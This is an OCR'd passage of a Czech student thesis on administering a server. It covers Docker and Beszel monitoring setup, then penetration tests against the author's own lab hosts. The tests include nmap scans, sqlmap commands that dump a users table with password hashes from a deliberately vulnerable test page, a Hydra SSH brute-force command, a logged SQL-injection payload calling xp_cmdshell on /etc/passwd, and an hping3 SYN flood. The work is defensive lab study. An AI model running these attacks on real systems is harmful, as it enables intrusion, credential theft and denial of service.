Obrazek 56: Test obnovy souborii WordPressu
Zdroj: Vlastni prdce
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Obnova databaze probihd importem SQL souboru pomoci nastroje mysql. K tomu slouzi
nasledujici prikaz:
cat /backup/2026-03-28/db_backup.sql | ssh -p 32 jmarek@192.168.0.10 "mysql -u backup -p"

Po spusténi prikazu je uZivatel vyzvan k zadani hesla databdzového uzivatele. Nasledné dojde
k obnoveni databaze ze zalozniho souboru.

2.7 Monitoring zdravi serveru

Monitoring predstavuje dlleZitou souddst spravy a zabezpeceni serveru. SlouZi ke sledovani
zatizeni procesoru, vyuziti operacni paméti, teploty a dalSich systémovych metrik. Diky
monitoringu lze v¢as odhalit problémy a reagovat na nestandardni chovani systému.

Existuje velké mnoistvi nastrojl pro monitoring serverl. Mezi nejznamé;jsi patii Zabbix nebo
Netdata.

Pro ucely této prace byla zvolena aplikace Beszel, kterd je open source a nabizi jednodussi
nasazeni vhodné pro mensi serverové infrastruktury. Aplikace umoznuje sledovani zakladnich
systémovych informaci a poskytuje prehledné webové rozhrani.

Na zalohovacim serveru byl vytvofen centrdlni uzel (hub), na kterém béZi samotna aplikace.
Nasledné byl pfiddan monitorovany server pomoci agenta, ktery odesild data do centralni
aplikace. Pocet agentll neni omezen.

2.7.1 Instalace aplikace Beszel

Instalace zacina vytvorenim centralniho uzlu na zalohovacim serveru. Nejprve byly odstranény
pfipadné konfliktni balic¢ky:

for pkg in docker docker-client docker-client-latest docker-common docker-latest docker-latest-
logrotate docker-logrotate docker-engine podman-docker containerd runc; do sudo dnf remove
-y Spkg; done
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root@localhost: /home/zaloha# for pkg in docker docker-client docker-client-lates
t docker-common docker-latest docker-latest-logrotate docker-logrotate docker-en
gine podman-docker containerd runc; do sudo dnf remove -y $pkg; done
Zadna shoda pro argument: docker

Zadné bali&ky ke smazani.

Zavislosti wyfedeny.

Neni co délat.

Hotovo!

Zadna shoda pro argument: docker-client

Zadné baligky ke smazanti.

Zavislosti wyfedeny.

Neni co délat.

Hotowo!

Zadna shoda pro argument: docker-client-latest

Zadné balidky ke smazanti.

Zavislosti wyfeseny.

Meni co délat.

Hotovo!

Zadna shoda pro argument: docker-common

Zadné baliEky ke smazani.

Zavislosti vylfeseny.

Meni co délat.

Hotovo!

Zadna shoda pro argument: docker-latest

Obrazek 57: Odstranéni balickd
Zdroj: Vlastni prace

Nasledné byly nainstalovany zakladni ndstroje potfebné pro instalaci:

dnf install -y yum-utils device-mapper-persistent-data lvm2 curl

rootalocalhost: /home/zaloha# dnf install -y yum-utils device-mapper-persistent-data lvm2 curl
Posledni kontrola metadat: pfed 2:19:50, Pa 27. bfezna 2026, 15:11:14.

Balicek device-mapper-persistent-data-1.1.0-2.el10.x86_64 je jiZ nainstalovan.

Baliéek 1vm2-1@:2.03.32-3.e110.x86_64 je jiZ nainstalovan.

Balicek curl-8.12.1-2.e110_1.2.x86_64 je jiz nainstalovan.

Zavislosti vyfeseny.

Balicek Architektura Verze Repozitaf Veliko
st
Instalovani:

yum-utils noarch 4.7.0-9.el10 baseos 39 k

Shrnuti transakce

Instalovat 1 balicek

Celkova velikost ke staZeni: 39 k

Velikost po nainstalovani: 21 k

Stahowani baliékl:

yum-utils-4.7.0-9.e110.noarch.rpm 334 kBfs | 39 kB 00:00
Celkem 7@ kB/s | 39 kB 00: 00
Spousti se kontrola transakce

Kontrola transakce byla Gsp&na

Probiha test transakce

Test transakce byl uspésny.

Transakce probiha

Piiprava : 1/1
Instalovani ¢ oyum-utils-4.7.0-9.el1@.noarch 1/1
Probiha skriptlet: yum-utils-4.7.0-9.e11@.noarch 1/1

Nainstalovano:

yum-utils-4.7.0-9.e110.noarch

Hotovo!
root@localhost:/home/zaloha#

Obrazek 58: Instalace nastrojt
Zdroj: Vlastni prdace

Byl pridan repozitar pro instalaci Dockeru:
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dnf config-manager --add-repo https://download.docker.com/linux/centos/docker-ce.repo

root@localhost: /home/zaloha# dnf config-manager --add-repo https://download.docker.com/linux/centos/docker-ce.repo

Pfidavani repozitdfe z: https://download.docker.com/linux/centos/docker-ce.repo

root@localhost: fhome/zaloha#

Obrazek 59: Pfidani repozitare

Zdroj: Vlastni prace

Nasledné byl nainstalovan Docker a jeho komponenty:

dnf install -y docker-ce docker-ce-cli containerd.io docker-buildx-plugin docker-compose-plugin

roatalocalhost: /hone/zaloha# dnf install -y docker-ce docker-ce-cli containerd.io docker-buildx-plugin docker-compose-plugin

§88888

Docker CE Stable - xB6_64 89 kB/s | 19 kB 0000
Zavislosti vyfeseny.

Balicek Architektura Verze Repozitar Velikost
Instalovani:

containerd.io x86_64 2.2.2-1.el10 docker-ce-stable 35 M
docker-buildx-plugin x86_64 0.31.1-1.el10@ docker-ce-stable 21 M
docker-ce x86_64 3:29.3.1-1.el10 docker-ce-stable 24 M
docker-ce-cli x86_64 1:29.3.1-1.el1@ docker-ce-stable 8.4 M
docker-compose-plugin x86_64 5.1.1-1.el1@ docker-ce-stable 8.2 M
Instalovani zavislosti:

fuse-overlayfs x86_64 1.16-1.el10_1 appstream 67 k
Instalovani slabych zawislosti:

docker-ce-rootless-extras x86_64 29.3.1-1.ell@ docker-ce-stable 3.4 M
Shrnuti transakce

Instalovat 7 baligkd
Celkova velikost ke stazeni: 100 M
Velikost po nainstalovani: 394 M

Stahowant baligki:

(1/7): fuse-overlayfs-1.16-1.e110_1.x86_64.rpm 493 kB/s | 67 kB 0000

(2/7): docker-buildx-plugin-@.31.1-1.e110.x86_64.1pm 3.0 MB/s
(3/7): docker-ce-cli-29.3.1-1.el10.xB6_64.rpm 1.9 MB/s
(4/7): docker-ce-29.3.1-1.e110.x86_64.rpm 1.9 MB/s
(5/7): docker-ce-rootless-extras-29.3.1-1.el10.x86_64.rpm 1.6 MB/s
(6/7): containerd.ie-2.2.2-1.e11@.xB6_64.rpm 2.3 MB/s
(7/7): docker-compose-plugin-5.1.1-1,e110.x86_64.rpn 2.7 WB/s
Celkem 6.2 MB/s
Docker CE Stable - x86_64 12 kB/s

Importuje se GPG kLlic @x621E9F35

Uzivatelské ID : “Docker Release (CE rpm) <dockermdocker.com>”
Otisk: 06@A 61C5 1B55 BA7F 7428 77AA C52F EBGB 621E 9F35
T

Mtk £ fdeml and dembeme e PV Es

Obrazek 60: Instalace Dockeru

Zdroj: Vlastni prdce

Sluzba Docker byla povolena a spusténa:

systemctl enable --now docker

root@localhost: /home/zaloha# systemctl enable --now docker

Created symlink "/etc/systemd/system/multi-user.target.wants/docker.service’ - 'Jusr/lib/systemd/system/docker.service’.

root@localhost: fhome/zaloha#

Obrazek 61: Spusténi sluzby Docker

Zdroj: Vlastni prdace

Funkénost byla ovérena prikazem:

docker run hello-world

g8
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root@localhost: /home/zaloha# docker run hello-world

Unable to find image 'hello-world:latest’ locally

latest: Pulling from library/hello-world

4f55086f7dd@: Pull complete

d5e71e642bf5: Download complete

Digest: sha256:452a468a4bf985040037cb6d5392410206e47dbObf5h7278d281F94d1c2d0931
Status: Downloaded newer image for hello-world:latest

Hello from Docker!
This message shows that your installation appears to be working correctly

To generate this message, Docker took the following steps:
1. The Docker client contacted the Docker daemon
2. The Docker daemon pulled the “hello-world™ image from the Docker Hub.
(and64)

3. The Docker daemon created a new container from that image which runs the
executable that produces the output you are currently reading.
4. The Docker daemon streamed that eutput to the Docker client, which sent it

to your terminal.

To try semething more ambitious, yeu can run an Ubuntu container with:
% docker run -it ubuntu bash

Share images, automate workflows, and more with a free Docker ID:
https://hub.docker.com/

For more examples and ideas, wisit
https://docs.docker . com/get-started/

root@localhost:/home/zaloha#

Obrazek 62: Ovéreni funkénosti Dockeru
Zdroj: Vlastni prace

Byl vytvoren pracovni adresar pro aplikaci:
mkdir beszel && cd beszel

Nasledné byl vytvoren konfiguraéni soubor:

nano docker-compose.yml|

: henrygd/beszel:latest
iner_name: beszel
- unless-stopped
_hosts:
- host.docker.internal:host-gateway
ports:
- 8@90:8090
volun
- ./beszel_data:/beszel_data

gent:

i =: henrygd/beszel-agent:latest
container name: beszel-agent
res t: unless-stopped
network_mode: host
volumes:
- [war/run/docker.sock:/var/run/docker.sock:ro
environment:

PORT: 45876
# Do not remove quotes around the key
KEY: "UPDATE WITH YOUR PUBLIC KEY (copy from “Add system” dialog)

Znacka K zavorce
8 Kopirovat NajdiZpét

Napovéda Zapsat Hledat Vyjmout Provést Unistani - U
Ukonéit Oteviit souborjg] Nahradit Vlezit Zarovnat Jit na fadek [ Znovu

Obrazek 63: Konfiguracni soubor
Zdroj: Vlastni prdce

Aplikace byla spusténa pomoci Docker Compose:

docker compose up -d
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zaloha@localhost:/home/zaloha/beszel

+ Hd = x
~/beszel L
root@localhost:, ie/zaloha/beszel# docker compose up -d
[+1 up 12/12
v Image henrygd/beszel:latest 5.9s
v Image henrygd/beszel-agent:latest 4.0s
¢ Network beszel_default Cr .25
v Container beszel-agent Startec 0.7s
v Container beszel Startec @.9s
root@localhost: /home/zaloha/beszel# I
Obrazek 64: Spusténi aplikace Beszel
Zdroj: Vlastni prdce
Spravna funkénost byla ovérena prikazem:
docker ps
2/ /zaloha/beszel O o=
~/beszel = = =
Y cal Ny e/zal zel# docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS
NAMES
957alc7c37b5  henrygd/beszel-agent:latest fagent 19 seconds ago Restarting (1) 4 seconds ago
beszel-agent
3a8d2b4786a5  henrygd/beszel:latest /beszel serve --htt. 19 seconds ago  Up 18 seconds 0.0.0.0:8090->8090/tcp, [::]:8090->8090

jtep  beszel
: . E

zel# |1

Obrazek 65: Kontrola bézZicich kontejner
Zdroj: Vlastni prace

Webové rozhrani bylo dostupné zadanim adresy: http://192.168.0.11:8090. Po otevieni stranky

sy

byl vytvoren administratorsky ucet.

Beszel

te si prosim ucet administratora
£ marek40@student.vspj.cz

£ eoceeeessee

=] Vytvorit ucet

NEBC < UJTE S

©) GitHub

Obrazek 66: Vytvoreni administratorského uctu
Zdroj: Vlastni prdce

Po prihlaseni do aplikace je dostupné prehledné rozhrani pro spravu a monitoring serverd.
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Beszel QHedat oo« @ & T % @ 8+ Pridat Systém
Pfepnout moativ

Vsechny systémy

Kliknéte na systém pro zobrazeni vice informaci.

Filtr... % Zobrazeni

B systém T @ Procesor T @ Pamat TL & Disk 1L B GPU TL 2 Prim. zatizeni TL © sit 1L & Teplota @ Bat B Sluzby & Uptime = Agent

Nenalezeny Zadné systémy.

P GitHub | Beszel 018.4

Obrazek 67: Uzivatelské rozhrani aplikace
Zdroj: Vlastni prdace

Pro pfidani serveru byl pouzit formular v aplikaci, kde byly zadany potiebné udaje.

Upravit Systém

Docker Binarni

Zkopirujte obsah docker-compose.yml pro agenta nize nebo
automaticky registrujte agenty s univerzalnim token

Nazev  BP

Hostitel /1P 192.168.0.10

Port = 45876

Vefajny kli¢  ssh-ed25519 AAAAC3NzaClIZDIINTESAL (@

Token  490b-343121daac-5ad8-c1d0ca1838 o

Kopirovat docker compose &

Obrazek 68: Pfridani monitorovaného serveru
Zdroj: Vlastni prdce

Nasledné byl zkopirovan verejny kli¢ a vioZzen do konfigura¢niho souboru na serveru kde bézi
aplikace.

Na monitorovaném serveru byl nainstalovan agent pomoci pfikazu:

curl -sL https://raw.githubusercontent.com/henrygd/beszel/main/supplemental/scripts/install-
agent.sh -o install-agent.sh && chmod +x install-agent.sh && ./install-agent.sh

Systém nas vyzve k zadani vefejného kli¢e a po jeho zadani spolu komunikuje agent s dockem.

k# curl -sL https://raw.githubusercontent .com/henrygd/beszel/main/supplemental /scripts/install-agent.sh -0 install-agent.sh Bk cheod *x install-agent.sh &6 ./install-agent.sh
Enter your SSH uy S5h-e 25519 AMAACINzACLLZDT INTESARAALL20KvOUbGeqHESUIXAVyXLODTHERY 725 Ae2AchT Law
Configuring the dedicated user for the Beszel Agent service
Adding beszel to disk group
Creating the directary for the Beszel Agent...
Domnloading beszel-agent vd.18.4

SELtnux is enabled (Enforcing sobe). Setting appropriate context
Attempting to set persistent SELinux contert

Crosting the systend service for the agent

Loading and starting the agent service.

Enable automatic daily updates for beszel-agent? (y/n): y
Setting up daily sutomstic updates for beszel-agent

Daily updates have been enabled

Obrazek 69: Instalace agenta
Zdroj: Vlastni prdace
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Po instalaci agenta byl povolen potfebny port na firewallu:
firewall-cmd —zone=public —permanent —add-port=45876/tcp
firewall-cmd —reload

jmarek@localhost:/home/jmarek e

_ 1 = x
root@localhost: /home/jmarek# firewall-cmd --zone=public --permanent --add-port=45876/tcp
success
root@localhost: /home/jmarek# firewall-cmd --reload
success
root@localhost: /home/jmarek#

Obrazek 70: Povoleni portu na firewallu
Zdroj: Vlastni prdace

Po dokonceni konfigurace probihd komunikace mezi agentem a centralni aplikaci a jsou
zobrazovana monitorovaci data serveru.

Beszel QtHiedat ao o« @ B % & @B &  + PridatSystém

VSechny systémy

. Filtr... % Zabrazeni
Kiiknéte na systém pro zobrazeni vice informaci

B systém 11 &} Proceser 14 @ Pamat 1L & Disk T4 @ GPU 1L X Prim. zatizeni T4 o sit 1 ¥ Teplota @ Bat E) Sluzby @ Uptime = Agent

* BP 0,18% 10,2% ( 8,67% I 0,00% * 0,00 0,00 0,00 0,71 KB/s 29,80°C * 75 (selhalo: 0) 5dni 0.18.6

< >

Obrazek 71: Ukazka monitoringu serveru
Zdroj: Vlastni prdace

2.8 Penetracni a zatézové testy (kontrolované utoky)

Ovéreni bezpecnosti serveru je dlleZitou soucasti celého ndvrhu. Nestaci pouze sluzby
nainstalovat a nakonfigurovat, ale je nutné také prakticky ovéfit, zda jsou jednotliva opatfeni
skutec¢né funkéni a dokazou odolat béZznym utoklm. K realizaci slouzi penetracni testovani,
pfi kterém se simuluji redlné Utoky na server.

Pro testovani byla vyuZita specializovana linuxova distribuce Kali Linux, kterd obsahuje velké
mnozstvi nastroja urcenych pro bezpecnostni analyzu. Diky tomu neni nutné jednotlivé nastroje
instalovat samostatné a lze se soustredit pfimo na testovani.
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2.8.1 Skenovani portd NMAP

Skenovani portd predstavuje zakladni krok pfi analyze cilového serveru. Pomoci nastroje Nmap

(Network Mapper) lze zjistit, jaké sluzby na serveru bézZi, na jakych portech naslouchaji

a v nékterych pripadech také jejich verze.

Zakladni sken Ize provést jednoduchym prikazem:

nmap 192.168.0.10

Vystup poskytne prehled otevienych portl, ale neobsahuje detailni informace o sluzbach.

Pro hlubsi analyzu byl pouzit rozsifeny pfikaz:

nmap -sS -sV -sC 192.168.0.10

Pouzité parametry maji nasledujici vyznam:

e -sS—provadi tzv. SYN scan (polovi¢ni otevieni spojeni), ktery je rychly a méné napadny,

v v

e -sV —zjistuje verze bézicich sluzeb,
e -sC—spousti zakladni skripty pro detekci zranitelnosti.

Vysledkem skenovani je detailni pfehled o bézicich sluzbach, napfiklad SSH, webového serveru

Apache nebo databdze. V prostredi lokalni sité je navic mozné zobrazit i MAC adresu zafizeni,

protoze komunikace probiha na nizsich vrstvach sitového modelu.

r

i R kali@kali: ~

Session Actions Edit View Help

192.168.0.10
Starting Nmap 7.95 ( https://nmap.org ) at 2026-03-29 08:28 EDT
Nmap scan report for 192.168.0.10
Host is up (0.0033s latency).
Not shown: 987 filtered tcp ports (no-response), 10 filtered tcp ports (admin
-prohibited)
PORT STATE SERVICE VERSION
32/tcp open ssh OpenSSH 9.9 (protocol 2.0)
| ssh-hostkey:
256 cC:e4:79:66:2c:08:02:3a:33:d3:a0:7b:73:20:bf:e3 (ECDSA)
256 d0:08:77:21:19:9a:79:1a:44:f3:2c:b9:59:6a:4e:e1 (ED25519)

_http-generator: WordPress 6.9.1

_http-title: bp

_http-server-header: Apache/2.4.63 (AlmalLinux)
443/tcp closed https
MAC Address: 1C:1B:0@D:36:9A:97 (Giga-byte Technology)

i
E
80/tcp open http Apache httpd 2.4.63 ((AlmalLinux))
[
|
[

Service detection performed. Please report any incorrect results at https://n
map.org/submit/
Nmap done: 1 IP address (1 host up) scanned in 12.69 seconds

Obrazek 72: Skenovani portii pomoci NMAP
Zdroj: Vlastni prdce

.
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2.8.2 SQL injection

SQL injection patfi mezi nej¢astéjsi utoky na webové aplikace, které komunikuji s databazi.
Vznikd v pfipadé, kdy aplikace nedostatecné kontroluje vstupy od uZivatele a tyto vstupy jsou
nasledné pfimo pouzity v SQL dotazech. Utoénik tak mliZe upravit databazovy dotaz a ziskat
pristup k citlivym datlim, pfipadné data ménit nebo mazat.

V ramci testovani byl proveden pokus o Utok na pfihlasovaci formular administrace systému
WordPress na adrese:

http://192.168.0.10/wp-login.php
Nejprve bylo ovéreno, zda je formulaf zranitelny pomoci nastroje sqlmap:

sqlmap -u "http://192.168.0.10/wp-login.php" --forms —batch

- aligia - ]
Session Actions Edit View Help

)] testing connection to the target URL
you have not dec hile server wants to set its own (‘wordpress_test_cookiesP120Cookiex20check'). Do you want to use those [¥/n] Y
4 Tt s

[1/1] Form:
POST http://192.168.0.10/wp-login. php
POST data: log=bpud=Gremenberne=forevertwp-submit=Logx20Insredirect_to=httpraAt2Fi2F192.168.0. 10%2Fup-admini2Ftestcookies1
do you want to test this fors? [Y/n/q]
Y

Edit POST data [default: log=5pud=sremenbermesforeverswp-submitsLogx20Insredirect_toshttpiIAX2FX2F192.168.0.10%2Fup-adnini2Fstestcookies1] (Warning: blank fields detected): log=spwd=sremembernesforeverswp-submitsLog Insredirect_toshttp:
//192.168.0.10/wp-admin/stestcookil

do you want to blank fields with randon values? [Y/n] ¥

( t/rest Lts file in multiple targets mod

t s stable
you provided a HTTP rget URL provides its own cookies within HTTP Set-Cookie header which intersect with yours. Do you want to merge them in further requests? [Y/n] Y
t ] ¢ ®

og' might not be injectable

t AL 0
there seems to be a continuous problen with connection to the target. you want to contin
€ L1470] you can results of scanning in multip inside the CSV file K

Obrazek 73: Utok pomoci SQL injection
Zdroj: Vlastni prdace

Vysledky testovani ukdazaly, Ze formular neni zranitelny vici SQL injection. WordPress obsahuje
vlastni ochranné mechanismy proti tomuto typu Utoku a dalsi vrstvu ochrany poskytuje nastroj
Fail2ban, ktery pfi opakovanych pokusech blokuje IP adresu Utocnika.
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[Fail2Ban] wordpress-auth: banned 192.168.0.186 from localhost

. Fail2Ban “ & o
Komu: Vy Ne 05.04.2026 14:12
Hi,

The IP 192.168.0.186 has just been banned by Fail2Ban after
5 attempts against wordpress-auth.

Here is more information about 192.168.0.186 :
missing whois program

Lines containing failures of 192.168.0.186 (max 1000)

192.168.0.186 - - [05/Apr/2026:15:57:37 +0200] "GET /wp-login.php HTTP/1.1" 200 4606 "-" "sqlmap/1.9.11#stable
(https://sqlmap.org)"

192.168.0.186 - - [05/Apr/2026:15:57:37 +0200] "GET /wp-login.php HTTP/1.1" 200 4606 "-" "sqlmap/1.9.11#stable
(https://sqlmap.org)"

192.168.0.186 - - [05/Apr/2026:15:57:38 +0200] "POST /wp-login.php HTTP/1.1" 200 4994 "-" "sqlmap/1.9.11#stab
(https://sqlmap.org)”

192.168.0.186 - - [05/Apr/2026:15:57:38 +0200] "POST /wp-login.php?

le

huAb=1131%2BAND%2B1%3D1%2BUNION%2BALL%2BSELECT%2B1%2CNULL%2C%27%3Cscript%3Ealert%28%22XS5%

22%29%3C%2Fscript%3E%27%2Ctable_name%2BFROM%2Binformation_schema.tables%2BWHERE%%2B2%3E1--

%2F%2A%2A%2F%3B%2BEXEC%2Bxp_cmdshell%28%27 cat%2B..%2F. %2F.. %2Fetc%2Fpasswd%27%29%23 HTTP/1.1" 200

192.168.0.186 - - [05/Apr/2026:15:57:38 +0200] "POST /wp-login.php HTTP/1.1" 200 4994 "-" "sqlmap/1.9.11#stab

Obrazek 74: Informace o zablokovani IP adresy
Zdroj: Vlastni prace

Pro demonstraci principu utoku byl nasledné pouZit vlastni testovaci web, kte
dostatecné zabezpecen. Testovaci aplikace se nachazi na adrese:

https://alpha.kts.vspj.cz/~marek40/tis/Zaverecna_prace/prihlaseni.php

Nejprve bylo ovéreno, zda je formulaf zranitelny:

sqlmap -u "https://alpha.kts.vspj.cz/~marek40/tis/Zaverecna_prace/prihlaseni.php
" --forms —batch

Parameter: user_name (POST)
Type: time-based blind
Title: MySQL = 5.0.12 AND time-based blind (query SLEEP)
Payload: user_name=PIMr‘' AND (SELECT 1227 FROM (SELECT(SLEEP(5)

Type: UNION query

Title: Generic UNION query (NULL) - 4 columns

Payload: user_name=PIMr‘' UNION ALL SELECT NULL,CONCAT(@x716a6a7
sit se

do you want to exploit this SQL injection? [Y/n] Y

[1 A ] [INFO] the back-end DBMS is MySQL

web server operating system: Linux CentOS

web application technology: PHP 8.2.30, Apache 2.4.62

back-end DBMS: MySQL = 5.0.12

[1 } ] [INFO] you can find results of scanning in multiple targ

[*] ending @ 10:24:07 /2026-04-05/

Obrazek 75: Zjisténi informace o databazi a serveru
Zdroj: Vlastni prdce

Po potvrzeni zranitelnosti bylo mozné zjistit seznam databazi:

le

ry nebyl

62


https://alpha.kts.vspj.cz/~marek40/tis/Zaverecna_prace/prihlaseni.php
https://alpha.kts.vspj.cz/~marek40/tis/Zaverecna_prace/prihlaseni.php

Vysokd Skola polytechnickd Jihlava

sqlmap -u "https://alpha.kts.vspj.cz/~marek40/tis/Zaverecna_prace/prihlaseni.php" --forms --
batch --dbs

do you want to exploit this SQL injection? [Y/n] Y
[ 1 [INFO] the back-end DBMS is MySQL

web server operating system: Linux Cent0S

web application technology: PHP 8.:

back-end DBMS: My5QL = 5.8.12

[ 1 [1
available databases [3]:
[*#] information_schema
[*#] marek4@

[*#] performance_schema

Obrazek 76: Zjisténi nazvu databazi
Zdroj: Vlastni prace

Byly nalezeny databdze information_schema, performance_schema a databaze marek40.
Ndsledné byl proveden vypis tabulek z databaze marek40:

sqlmap -u "https://alpha.kts.vspj.cz/~marek40/tis/Zaverecna_prace/prihlaseni.php" --forms --
batch -D marek40 --tables

do you want to exploit this SQL injection? [Y/n] ¥
[ 1 [INFO] the back-end DBMS is MySQL
web server operating system: Linux Cent0S
web application technology: PHP 8.2.30, Apache 2.4.62
back-end DBMS: MySQL = 5.8.12
L ] [INFD] fetching tables for database: 'mareks4@’
Database: marek4@
[12 tables]
o
PS5
log

user

auta
doctrine_migration_versions
jmena

lastname

messenger_messages
politicians

strany

tabulka

users

Obrazek 77: Nazvy tabulek
Zdroj: Vlastni prdce

Po ziskani seznamu tabulek bylo mozné zobrazit i jejich obsah:

sqlmap -u "https://alpha.kts.vspj.cz/~marek40/tis/Zaverecna_prace/prihlaseni.php" --forms --
batch -D marek40 -T users --dump
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do you want to store hashes to a temporary file for eventual further processing with other tools [y/N] N
do you want to crack them via a dictionary-based attack? [y/N/q] N

Database: marek4@

Table: users

[2 entries]

e
| user_id | role

+
user_name | user_password

admin | 21232f297a57a5a743894a0e4a801fc3
user | eel1cbb19052e40b07aac0ca®60c23ee |
e~

| admin
| user
¥

1
2

+
|

i e —+
|
|
+

+
|
I

+

Obrazek 78: Data v tabulce
Zdroj: Vlastni prdce

Vysledky ukdazaly, Ze bez spravného zabezpeceni je moziné velmi snadno ziskat citliva data
z databaze.

PFi testovani byly vyuZity nasledujici parametry sqlmap:

e -u"URL": uréuje cilovou adresu webové stranky,

e --forms: automaticky vyhledd HTML formulare na strance,
e --batch: automaticky potvrzuje vSechny dotazy nastroje,

e --dbs: zobrazi seznam dostupnych databazi,

e -D [nazev]: zvoli konkrétni databazi,

e --tables: zobrazi tabulky ve vybrané databazi,

e -T[nazev]: vybere konkrétni tabulku,

e --dump: vypiSe obsah tabulky.

Zakladni ochranou proti SQL injection je predevsim pouZivani parametrizovanych dotaz(
(prepared statements), validace vstupll a omezeni opravnéni databazovych uZivatell. Pouhé
blokovani nékterych znakd, jako jsou uvozovky nebo zavorky, neni dostatecné a nepredstavuje
bezpecné reseni.

2.8.3 Brue Force utok

Brute force Gtok je zaloZen na opakovaném zkouseni pfihlaovacich Gdaji. Utoénik postupné
testuje rGzné kombinace jmen a hesel, dokud neziskd pfistup. Uvedeny typ utoku byl
charakterizovan vysokou mirou jednoduchosti, avSak v ptipadé volby slabého hesla mohl byt
vyhodnocen jako Uspésny.

V rdmci testovani byl dtok simulovdn na sluzbé SSH. Ochrana proti tomuto typu utoku byla
feSena pomoci nastroje Fail2ban, ktery sleduje neldspésné pokusy o pfihlaseni a po prekroceni
stanoveného limitu zablokuje IP adresu utoénika.

Existuje mnoho nastrojd, pomoci kterych Ize brute force Utok provadét. Jednim z nejznaméjsich
je aplikace Hydra. Pro testovani byl pouzit nasledujici prikaz:

hydra -l jmarek -P /usr/share/wordlists/rockyou.txt ssh://192.168.0.10:32
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3 kali@kali: ~ e

Session Actions Edit View Help

~

jmarek /usr/share/wordlists/rockyou.txt ssh://192.168.0.10:32
Hydra v9.6 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in mili
tary or secret service organizations, or for illegal purposes (this is non-binding
, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-03-29 08:53:42
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recomm
ended to reduce the tasks: use -t 4

[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:14
344399), ~896525 tries per task

[DATA] attacking ssh://192.168.0.10:32/

[ERROR] all children were disabled due too many connection errors

@ of 1 target completed, @ valid password found

[INFO] Writing restore file because 2 server scans could not be completed

[ERROR] 1 target was disabled because of too many errors

[ERROR] 1 targets did not complete

Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-0

Obrazek 79: Ukazka utokd
Zdroj: Vlastni prace

Z vysledk( je patrné, Ze k naruseni serveru nedoslo, protoZe server po nékolika nelspésnych
pokusech zablokoval IP adresu, ze které utok prichazel. Soucasné byl dorucen informacni e-mail
o zablokovani IP adresy z nastroje Fail2ban.

[Fail2Ban] sshd: banned 192.168.0.187 from localhost

. Fail2Ban “ S~ B
Komu: Vy Ne 29.03.2026 12:53
Hi,

The IP 192.168.0.187 has just been banned by Fail2Ban after
3 attempts against sshd.

Here is more information about 192.168.0.187 :
missing whois program

Lines containing failures of 192.168.0.187 (max 1000)

Mar 29 14:26:37 localhost sshd-session[10126]: Connection closed by 192.168.0.187 port 35154

Mar 29 14:29:02 localhost sshd-session[10158]: Connection closed by 192.168.0.187 port 35020

Mar 29 14:29:08 localhost sshd-session[10160]: banner exchange: Connection from 192.168.0.187 port 45820: could not
read protocol version

Mar 29 14:29:08 localhost sshd-session[10159]: banner exchange: Connection from 192.168.0.187 port 45816: could not
read protocol version

Mar 29 14:29:08 localhost sshd-session[10221]: Unable to negotiate with 192.168.0.187 port 45826: no matching host key
type found. Their offer: ssh-dss [preauth]

Mar 29 14:29:08 localhost sshd-session[10224]: Unable to negotiate with 192.168.0.187 port 45828: no matching host key
type found. Their offer: ssh-rsa [preauth]

Mar 29 14:29:08 localhost sshd-session[10226]: Connection closed by 192.168.0.187 port 45844 [preauth]

Mar 29 14:29:08 localhost sshd-session[10228]: Unable to negotiate with 192.168.0.187 port 45852: no matching host key

Obrazek 80: Informace o zablokovani IP adresy
Zdroj: Vlastni prdce
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Zatéz zplsobena utokem se projevila také ve zvySeném vyuziti systémovych prostredk, coz bylo
mozné sledovat v monitorovaci aplikaci.

Beszel QHedat @ B % ¥ B 2  +Phdatsystém

SMART
BP

® Funkéni = @ 192168.010 | ©J localhostlocaldomain = (@ 5dni | A Almalinux 101 (Heliotrope Lion) = @ Intel(R) Core(TM) i3-6100 CPU @ 3.70GHz & 15.3GB

© 1hodina 88

Vyuziti procesoru Vyuziti paméti

Priimérné vyuziti CPU v celém systému yuZiti v zaznamenaném ase

Vyuziti disku Disk I/O

iti kofenovél

tnost kofenoveého s rového systém

18 KE

14K

Obrazek 81: Zvyseni zatiZeni serveru
Zdroj: Vlastni prace

Testovani prokazalo, Ze pfi spravné konfiguraci dochazi k automatickému zablokovani pfistupu
jiz po nékolika neuspésnych pokusech, coZ vyrazné zvysuje bezpecnost serveru.

2.8.4 DDoS (Denial of Service)

Utok typu DDoS byl definovan jako forma utoku zaloZend na zasilani velkého mnozstvi sitovych
paketl na cilovy server, pficemz dochazi k vyéerpani jeho vypocetnich nebo sitovych prostfedkd
a naslednému omezeni ¢i Uplnému znemozZnéni poskytovanych sluzeb.

Vzhledem k omezenym hardwarovym prostfedk({im a absenci vétSiho mnoZstvi distribuovanych
zatizeni nebylo mozné realizovat plnohodnotny distribuovany utok DDoS. Z uvedeného dlvodu
byl proveden pouze simulovany Utok typu DoS, ktery byl generovan z jednoho zafizeni pomoci
nastroje hping3. Utok byl spustén nasledujicim piikazem:

hping3 -S --flood -V -p 80 192.168.0.10

Pomoci uvedeného prikazu byly na cilovy server odesilany TCP SYN pakety ve vysoké frekvenci
na port 80, ¢imZ doslo k simulaci zahlceni sitového rozhrani a soucasné ke zvySenému zatizeni
procesoru serveru.
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80 192.168.0.187
[sudo] password for kali:
using eth@, addr: 192.168.0.186, MTU: 1500
HPING 192.168.0.187 (eth® 192.168.0.187): S set, 40 headers + 0 data bytes
hping in flood mode, no replies will be shown
“C

— 192.168.0.187 hping statistic —

48232520 packets transmitted, @ packets received, 100% packet loss
round-trip min/avg/max = 0.0/0.0/0.0 ms

Obrazek 82: Utok na server pomoci DoS
Zdroj: Vlastni prdce

V pribéhu testovani bylo pozorovano vyrazné zatizeni procesoru serveru, které bylo zplisobeno
nutnosti zpracovavat velké mnozstvi prichozich pozadavkl. Dochazelo k postupnému nartstu
vyuziti CPU, cozZ vedlo ke zpomaleni odezvy serveru a snizeni jeho dostupnosti.

Beszel = QHiedar oo @ 8 % % @ &+ Pidatsyseém
I
BP | © 1hedina B
Funkéni | @ 192.168.0187 = J localhost (R 9 minut /A AlmaLinux 101 (Heliotrope Lion) & Intel(R) Core(TM) i5-9300H CPU @ 2.40GHz = & 3.57 GB N
Vyuziti procesoru Vyuziti CPU Dockeru Filtr

